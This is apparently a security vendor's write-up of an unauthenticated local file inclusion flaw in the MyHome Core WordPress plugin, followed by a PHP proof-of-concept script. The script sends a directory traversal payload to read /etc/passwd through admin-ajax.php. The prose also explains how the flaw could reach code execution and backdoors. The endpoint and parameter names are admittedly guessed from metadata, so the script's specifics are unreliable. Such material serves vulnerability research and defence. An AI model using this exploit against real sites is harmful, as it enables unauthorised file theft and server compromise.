Atomic Edge analysis of CVE-2025-67955 (metadata-based):
The MyHome Core WordPress plugin, up to and including version 4.1.0, contains an unauthenticated Local File Inclusion vulnerability. This flaw exists in a PHP file inclusion mechanism, allowing attackers to include arbitrary local files. The CVSS score of 8.1 reflects a high-severity issue with significant confidentiality, integrity, and availability impacts.
Atomic Edge research infers the root cause is improper validation of user-supplied input used in a PHP include or require statement. The CWE-98 classification indicates the plugin likely constructs a file path using attacker-controlled data without proper sanitization. This allows directory traversal sequences or absolute path injection. The vulnerability description confirms the flaw is exploitable without authentication. These conclusions are inferred from the CWE and description, as the source code is unavailable for direct confirmation.
Exploitation likely involves sending a crafted HTTP request to a specific plugin endpoint. Attackers can target an AJAX handler (`admin-ajax.php`) or a direct plugin file. The payload would manipulate a parameter, such as `file` or `template`, to traverse directories and include sensitive files like `/etc/passwd` or existing PHP web shells. For remote code execution, an attacker could include an uploaded image containing PHP code, if the server configuration permits its execution.
Remediation requires implementing strict validation and whitelisting for file inclusion paths. The patched version 4.1.1 likely added path sanitization, removed user input from dynamic includes, or implemented a fixed mapping of allowed files. Proper capability checks should also be added to ensure only authorized users can trigger the inclusion functionality.
Successful exploitation leads to full server compromise. Attackers can read sensitive system and application files, bypassing access controls. By including files containing PHP code, they achieve arbitrary code execution in the context of the web server. This grants the ability to create administrative users, manipulate the database, and deploy persistent backdoors on the host.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-67955 - MyHome Core <= 4.1.0 - Unauthenticated Local File Inclusion
<?php
/**
* Proof of Concept for CVE-2025-67955.
* This script attempts to exploit an unauthenticated Local File Inclusion (LFI) in the MyHome Core plugin.
* The exact endpoint and parameter are inferred from common WordPress plugin patterns and the CWE.
* Assumptions:
* 1. The vulnerability is triggered via a WordPress AJAX action.
* 2. A parameter like 'file', 'template', or 'path' is vulnerable.
* 3. The plugin slug 'myhome-core' is part of the AJAX action hook.
*/
$target_url = 'http://target-site.com'; // CHANGE THIS
// Common AJAX endpoint for WordPress
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// Infer the AJAX action name. The 'wp_ajax_nopriv_' prefix handles unauthenticated requests.
// The plugin likely registers an action like 'myhome_core_action'.
$inferred_action = 'myhome_core_load_template'; // Example based on plugin functionality
// Payload: Attempt to include the /etc/passwd file to confirm LFI.
$lfi_payload = '../../../../../../etc/passwd';
// Prepare POST data
$post_data = array(
'action' => $inferred_action,
'file' => $lfi_payload, // Primary inferred parameter
'template' => $lfi_payload // Alternative parameter
);
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Analyze response
if ($http_code == 200) {
if (strpos($response, 'root:') !== false || strpos($response, 'bin/bash') !== false) {
echo "[+] LFI likely SUCCESSFUL. /etc/passwd contents may be present in response.n";
echo "[+] Sample response (first 500 chars): " . substr($response, 0, 500) . "n";
} else {
echo "[?] Received 200 response but no clear LFI indicator.n";
echo "[?] Response length: " . strlen($response) . "n";
// The vulnerability may still exist; the included file might not output content.
}
} else {
echo "[-] Request failed or endpoint not found. HTTP Code: $http_coden";
echo "[-] The inferred AJAX action or parameter may be incorrect.n";
echo "[-] Manual investigation of the plugin's registered AJAX handlers is required.n";
}
?>
